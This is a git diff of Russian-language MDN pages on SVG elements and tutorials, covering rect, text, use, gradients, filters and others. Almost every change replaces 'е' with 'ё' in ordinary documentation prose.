9a99ec4c5a..c585368d3c 100644 --- a/files/ru/web/svg/element/animatemotion/index.html +++ b/files/ru/web/svg/element/animatemotion/index.html @@ -102,7 +102,7 @@ original_slug: Web/SVG/Элемент/animateMotion <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("svg.elements.animateMotion")}}</p> diff --git a/files/ru/web/svg/element/feblend/index.html b/files/ru/web/svg/element/feblend/index.html index a131dd6aa6..371ca3dab7 100644 --- a/files/ru/web/svg/element/feblend/index.html +++ b/files/ru/web/svg/element/feblend/index.html @@ -8,7 +8,7 @@ original_slug: Web/SVG/Элемент/feBlend --- <div>{{SVGRef}}</div> -<p><a href="/en-US/docs/Web/SVG">SVG </a>фильтр примитивна <strong><code><feBlend></code></strong> объединяет два объекта, управляемых определенным режимом смешивания. Это похоже на работу программного обеспечения для редактирования изображений при смешивании двух слоев. Режим определяется атрибутом {{SVGAttr("mode")}}.</p> +<p><a href="/en-US/docs/Web/SVG">SVG </a>фильтр примитивна <strong><code><feBlend></code></strong> объединяет два объекта, управляемых определённым режимом смешивания. Это похоже на работу программного обеспечения для редактирования изображений при смешивании двух слоёв. Режим определяется атрибутом {{SVGAttr("mode")}}.</p> <h2 id="Используемый_контекст">Используемый контекст</h2> diff --git a/files/ru/web/svg/element/foreignobject/index.html b/files/ru/web/svg/element/foreignobject/index.html index d247cea432..a48e75e668 100644 --- a/files/ru/web/svg/element/foreignobject/index.html +++ b/files/ru/web/svg/element/foreignobject/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Element/foreignObject original_slug: Web/SVG/Элемент/foreignObject --- <div>{{SVGRef}}<br> -Элемент <strong><code><foreignObject></code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет включать другое пространство имен XML.<br> +Элемент <strong><code><foreignObject></code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет включать другое пространство имён XML.<br> В контексте браузера это, скорее всего, XHTML / HTML.</div> <div id="Exemple"> @@ -30,7 +30,7 @@ original_slug: Web/SVG/Элемент/foreignObject <!-- Типичный пример использования: встраивание HTML-текста в SVG --> <foreignObject x="20" y="20" width="160" height="160"> <!-- -В контексте SVG, внедренного в HTML, пространство имен XHTML может и следует избегать, +В контексте SVG, внедрённого в HTML, пространство имён XHTML может и следует избегать, но это обязательно в контексте документа SVG --> <div xmlns="http://www.w3.org/1999/xhtml"> diff --git a/files/ru/web/svg/element/rect/index.html b/files/ru/web/svg/element/rect/index.html index 0fdc102ad9..1e76b55a6a 100644 --- a/files/ru/web/svg/element/rect/index.html +++ b/files/ru/web/svg/element/rect/index.html @@ -9,7 +9,7 @@ original_slug: Web/SVG/Элемент/rect --- <div>{{SVGRef}}</div> -<p><code><rect></code> - это базовая SVG фигура, используется для отрисовки прямоугольников по координатам угла, длины и высоты прямоугольника. Также может использоваться для отрисовки прямоугольников со скругленными углами.</p> +<p><code><rect></code> - это базовая SVG фигура, используется для отрисовки прямоугольников по координатам угла, длины и высоты прямоугольника. Также может использоваться для отрисовки прямоугольников со скруглёнными углами.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -20,7 +20,7 @@ original_slug: Web/SVG/Элемент/rect <td>Простая фигура, Графический элемент</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Любое количество указанных элементов в любом порядке:<br> <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Элементы анимации</a> »<br> <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Элементы описания</a> »</td> @@ -50,7 +50,7 @@ original_slug: Web/SVG/Элемент/rect <p>» <a href="https://mdn.mozillademos.org/files/8893/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p> -<h3 id="<rect>_со_скругленными_углами"><code><rect></code> со скругленными углами</h3> +<h3 id="<rect>_со_скруглёнными_углами"><code><rect></code> со скруглёнными углами</h3> <p> </p> diff --git a/files/ru/web/svg/element/text/index.html b/files/ru/web/svg/element/text/index.html index ffb6583fb6..e7cc42214d 100644 --- a/files/ru/web/svg/element/text/index.html +++ b/files/ru/web/svg/element/text/index.html @@ -27,7 +27,7 @@ original_slug: Web/SVG/Элемент/<text> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } - /* Обратите внимание, что цвет текста задается с помощью * + /* Обратите внимание, что цвет текста задаётся с помощью * * fill свойства, а свойство color используется только для HTML */ .Rrrrr { font: italic 40px serif; fill: red; } </style> @@ -195,7 +195,7 @@ original_slug: Web/SVG/Элемент/<text> <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("svg.elements.text")}}</p> diff --git a/files/ru/web/svg/element/use/index.html b/files/ru/web/svg/element/use/index.html index 39e26289f3..1efa68b4e0 100644 --- a/files/ru/web/svg/element/use/index.html +++ b/files/ru/web/svg/element/use/index.html @@ -43,7 +43,7 @@ original_slug: Web/SVG/Элемент/use По соображениям безопасности, браузеры могут применять <a href="/en-US/docs/Web/Security/Same-origin_policy">правило ограничения домена</a> для элементов <code>use</code> и могут отказаться загружать URL другого источника в атрибуте {{SVGAttr("href")}}.</p> <div class="warning"> -<p>Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее, на практике всё еще может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите <a href="#browser-compatibility">таблицу совместимости</a> ниже).</p> +<p>Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее, на практике всё ещё может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите <a href="#browser-compatibility">таблицу совместимости</a> ниже).</p> </div> <h2 id="Атрибуты">Атрибуты</h2> diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html index b552e8a208..0cf6a5ef86 100644 --- a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html +++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html @@ -97,7 +97,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <ul> <li>Выполнена.</li> <li>Не полностью соблюдает <svg:use> каскадные правила ({{Bug(265894)}}).</li> - <li>Не передает события в дерево SVGElementInstance ({{Bug(265895)}}).</li> + <li>Не передаёт события в дерево SVGElementInstance ({{Bug(265895)}}).</li> </ul> </td> </tr> @@ -238,7 +238,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <td style="background-color: rgb(204, 204, 204);"><a href="https://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td> <td style="background-color: rgb(204, 204, 204);"> <ul> - <li>Эта функция, представленная в раннем проекте спецификации, была удалена из нее и поэтому не реализована ({{Bug(273171)}}).</li> + <li>Эта функция, представленная в раннем проекте спецификации, была удалена из неё и поэтому не реализована ({{Bug(273171)}}).</li> </ul> </td> </tr> @@ -376,7 +376,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <li>Выполнена.</li> <li>Из псевдо-входов:<br> <code>SourceGraphic</code>, <code>SourceAlpha</code>, <code>FillPaint</code> {{gecko_minversion_inline("17")}} и <code>StrokePaint</code> {{gecko_minversion_inline("17")}} - реализованы.</li> - <li>Использование нереализованного псевдо-входного или фильтрующего элемента приведет к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.</li> + <li>Использование нереализованного псевдо-входного или фильтрующего элемента приведёт к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.</li> </ul> </td> </tr> diff --git a/files/ru/web/svg/tutorial/basic_shapes/index.html b/files/ru/web/svg/tutorial/basic_shapes/index.html index 290e5af23d..882ce4142f 100644 --- a/files/ru/web/svg/tutorial/basic_shapes/index.html +++ b/files/ru/web/svg/tutorial/basic_shapes/index.html @@ -111,7 +111,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры <h3 id="Polyline" name="Polyline">Ломаная линия</h3> -<p>Элемент <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит группу соединенных прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:</p> +<p>Элемент <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит группу соединённых прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:</p> <pre class="brush:xml;gutter:false;"><polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/></pre> @@ -133,7 +133,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры <h3 id="Path" name="Path">Путь</h3> -<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закругленными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">в следующей секции</a> этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.</p> +<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закруглёнными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">в следующей секции</a> этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.</p> <pre class="brush:xml;gutter:false;"><path d="M 20 230 Q 40 205, 50 230 T 90230"/></pre> diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html index 698933241a..634ef93da3 100644 --- a/files/ru/web/svg/tutorial/basic_transformations/index.html +++ b/files/ru/web/svg/tutorial/basic_transformations/index.html @@ -24,14 +24,14 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Перемещения">Перемещения</h2> -<p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определенным атрибутам. Для этого используется <code>translate()</code>.</p> +<p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется <code>translate()</code>.</p> <pre class="brush: html notranslate"><svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> </pre> -<p>Пример генерирует прямоугольник, перемещенный в точку (30,40) вместо точки (0,0).</p> +<p>Пример генерирует прямоугольник, перемещённый в точку (30,40) вместо точки (0,0).</p> <p>{{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p> @@ -46,7 +46,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования </svg> </pre> -<p>Данный пример показывает квадрат который повернули на 45 градусов. Значение для <code>rotate()</code> задается в градусах.</p> +<p>Данный пример показывает квадрат который повернули на 45 градусов. Значение для <code>rotate()</code> задаётся в градусах.</p> <p>{{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p> @@ -60,7 +60,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Комплексные_перемещения_с_matrix"><strong id="docs-internal-guid-68ee5272-9619-cb26-01de-19a4df728cd5">Комплексные перемещения с <code>matrix()</code></strong></h2> -<p>Все приведенные выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью <code>matrix(a, b, c, d, e, f)</code>, которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:</p> +<p>Все приведённые выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью <code>matrix(a, b, c, d, e, f)</code>, которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:</p> <p><math display="block"><semantics><mrow><mo>{</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr></mtable></mrow><annotation encoding="TeX">\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. </annotation></semantics></math></p> @@ -68,7 +68,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Эффекты_на_системе_координат">Эффекты на системе координат</h2> -<p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повернуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> +<p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> <pre class="brush: html notranslate"><svg width="100" height="100"> <g transform="scale(2)"> diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html index f5d2198fc8..c87cfa7287 100644 --- a/files/ru/web/svg/tutorial/clipping_and_masking/index.html +++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html @@ -8,7 +8,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking <p> </p> -<p>На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнетесь со следующими свойствами.<br> +<p>На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнётесь со следующими свойствами.<br> <br> <strong>Обрезка (Clipping) </strong>позволяет скрыть часть одного или нескольких элементов, используя другой. В этом случае нельзя настроить прозрачность элемента, это подход «все или ничего».<br> <br> @@ -29,7 +29,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg> </pre> -<p>По центру (100,100) нарисован круг с радиусом 100. Атрибут<code> clip-path</code> ссылается на элемент <code>{{ SVGElement("clipPath") }}</code>, который содержит элемент <code>rect</code>. Этот прямоугольник позволит отрисовать верхнюю половину черного холста. Обратите внимание, что элемент <code>clipPath</code> обычно помещается в раздел <code>defs</code>.<br> +<p>По центру (100,100) нарисован круг с радиусом 100. Атрибут<code> clip-path</code> ссылается на элемент <code>{{ SVGElement("clipPath") }}</code>, который содержит элемент <code>rect</code>. Этот прямоугольник позволит отрисовать верхнюю половину чёрного холста. Обратите внимание, что элемент <code>clipPath</code> обычно помещается в раздел <code>defs</code>.<br> <br> При этом сам прямоугольник отрисован не будет. Вместо этого прямоугольник задаст область отрисовки. Так как прямоугольник перекрывает только верхнюю половину круга, нижняя половина круга исчезает:</p> @@ -57,7 +57,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg> </pre> -<p>Фактически на примере находятся два прямоугольника: зеленый на нижнем слое и красный на верхнем. У красного есть атрибут <code>mask</code>, который ссылается на элемент <code>mask</code>. Содержимое маски это элемент <code>rect</code>, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зеленый градиент: </p> +<p>Фактически на примере находятся два прямоугольника: зелёный на нижнем слое и красный на верхнем. У красного есть атрибут <code>mask</code>, который ссылается на элемент <code>mask</code>. Содержимое маски это элемент <code>rect</code>, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зелёный градиент: </p> <p>{{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}</p> @@ -78,7 +78,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking <p>{{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}</p> -<p>В этом примере используется красный круг на голубом фоне. Желтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.</p> +<p>В этом примере используется красный круг на голубом фоне. Жёлтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.</p> <h2 id="Использование_хорошо_известных_CSS_техник">Использование хорошо известных CSS техник</h2> diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html index 0ba67eee54..e113c00376 100644 --- a/files/ru/web/svg/tutorial/fills_and_strokes/index.html +++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html @@ -34,7 +34,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/> </svg></pre> -<p>Свойство <em>stroke-width </em>определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображен розовым, а обводка - черным.</p> +<p>Свойство <em>stroke-width </em>определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображён розовым, а обводка - черным.</p> <p>Второй атрибут, влияющий на обводку - свойство <em>stroke-linecap. </em>Демонстрируется выше. Свойство управляет отображением концов линий.</p> @@ -43,7 +43,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <ul> <li><code>butt</code> обрывает линию под прямым углом к направлению обводки и делает это сразу по окончании линии.</li> <li><code>square</code> в основном действует также, но немного растягивает обводку по краям пути. Длина, на которую продлевается обводка - это половина заданного значения <em>stroke-width.</em></li> - <li><code>round</code> задаёт закругленные углы по краям обводки. Радиус этих кривых также управляется параметром <em>stroke-width.</em></li> + <li><code>round</code> задаёт закруглённые углы по краям обводки. Радиус этих кривых также управляется параметром <em>stroke-width.</em></li> </ul> <p>Используйте<code><em> </em>stroke-linejoin</code>, чтобы определить, как соединять обводку двух сегментов линии.</p> @@ -66,7 +66,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <ul> <li><code>miter </code>продолжает линию обводки дальше её обычной ширины, чтобы создать единственный квадратный угол.</li> - <li><code>round </code>создаёт закругленный сегмент линии</li> + <li><code>round </code>создаёт закруглённый сегмент линии</li> <li><code>bevel </code>создаёт новый угол для помощи в переходе между двумя сегментами</li> </ul> @@ -82,13 +82,13 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg></pre> -<p>В качестве аргумента атрибут <code>stroke-dasharray </code>принимает последовательность чисел, разделенных запятой.</p> +<p>В качестве аргумента атрибут <code>stroke-dasharray </code>принимает последовательность чисел, разделённых запятой.</p> <div class="note"> <p>Замечание: в отличие от путей, эти числа ДОЛЖНЫ быть разделены запятыми (пробелы игнорируются).</p> </div> -<p>Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать четный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.</p> +<p>Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать чётный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.</p> <p>Также есть дополнительные <strong>stroke </strong>и <strong>fill </strong>свойства: <code><a href="/en-US/docs/Web/SVG/Attribute/fill-rule">fill-rule</a>, которое определяет как будут заливаться сложные фигуры, которые имеют пересечения внутри себя;</code> <code><a href="/en-US/docs/Web/SVG/Attribute/stroke-miterlimit">stroke-miterlimit</a>, </code>which determines if a stroke should draw miters<code> и </code><a href="/en-US/docs/Web/SVG/Attribute/stroke-dashoffset">stroke-dashoffset</a>, который указывает где начинается dash-array в линии (позволяет задать смещение пунктирной обводки относительно первоначального положения)</p> @@ -103,7 +103,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <pre class="brush:xml;"> <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/> </pre> -<p>или может быть помещен в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <code><head>, </code>как это делается в HTML, она включается в зону <code><defs>, </code>предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.</p> +<p>или может быть помещён в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <code><head>, </code>как это делается в HTML, она включается в зону <code><defs>, </code>предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.</p> <pre class="brush:xml;"><?xml version="1.0" standalone="no"?> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"> diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html index d063063795..13e8214c27 100644 --- a/files/ru/web/svg/tutorial/filter_effects/index.html +++ b/files/ru/web/svg/tutorial/filter_effects/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Tutorial/Filter_effects --- <p>{{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}</p> -<p>Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определенного эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. <br> +<p>Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определённого эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. <br> <br> Основным примером может послужить эффект размытия в SVG. Базовый эффект размытия может быть достигнут с помощью градиентов, фильтр размытия необходим, чтобы сделать что-либо большее.</p> diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html index c50b5ba0ea..f42a01eda8 100644 --- a/files/ru/web/svg/tutorial/getting_started/index.html +++ b/files/ru/web/svg/tutorial/getting_started/index.html @@ -10,7 +10,7 @@ translation_of: Web/SVG/Tutorial/Getting_Started <h3 id="A_Simple_Example" name="A_Simple_Example">Простой пример</h3> -<p>Давайте начнем наше погружение с простого примера. Посмотрите на код, представленный ниже:</p> +<p>Давайте начнём наше погружение с простого примера. Посмотрите на код, представленный ниже:</p> <pre class="brush: xml"><svg version="1.1" baseProfile="full" @@ -38,12 +38,12 @@ translation_of: Web/SVG/Tutorial/Getting_Started <ul> <li>как известно из (X)HTML, декларацию doctype следует опустить, потому что DTD на основе валидации SVG приводит к бо́льшим проблемам, чем их решает</li> <li>до SVG 2, чтобы обозначить версию SVG для других типов валидации, всегда следует использовать атрибуты <code>version</code> и <code>baseProfile</code>. Но в SVG 2 оба эти атрибута <code>version</code> и <code>baseProfile</code> обрели статус не рекомендованных</li> - <li>как диалект XML, SVG всегда правильно должен связывать пространства имен (в атрибуте xmlns). Смотри страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большей информации.</li> + <li>как диалект XML, SVG всегда правильно должен связывать пространства имён (в атрибуте xmlns). Смотри страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большей информации.</li> </ul> </li> <li>Фон устанавливается красным при помощи рисования прямоугольника <a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect"><code><rect/></code></a>, который покрывает всю область изображения</li> - <li>Зеленый круг <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code><circle/></code></a> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещен на 150px вправо, и 100px вниз).</li> - <li>Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зеленого круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.</li> + <li>Зелёный круг <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code><circle/></code></a> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещён на 150px вправо, и 100px вниз).</li> + <li>Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зелёного круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.</li> </ol> <h3 id="Основные_свойства_файлов_SVG">Основные свойства файлов SVG</h3> diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html index 2e4ef085cf..45faea509a 100644 --- a/files/ru/web/svg/tutorial/gradients/index.html +++ b/files/ru/web/svg/tutorial/gradients/index.html @@ -42,7 +42,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}</p> -<p>Выше находится пример линейного градиента, который применен к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определенных атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-черного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> +<p>Выше находится пример линейного градиента, который применён к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до 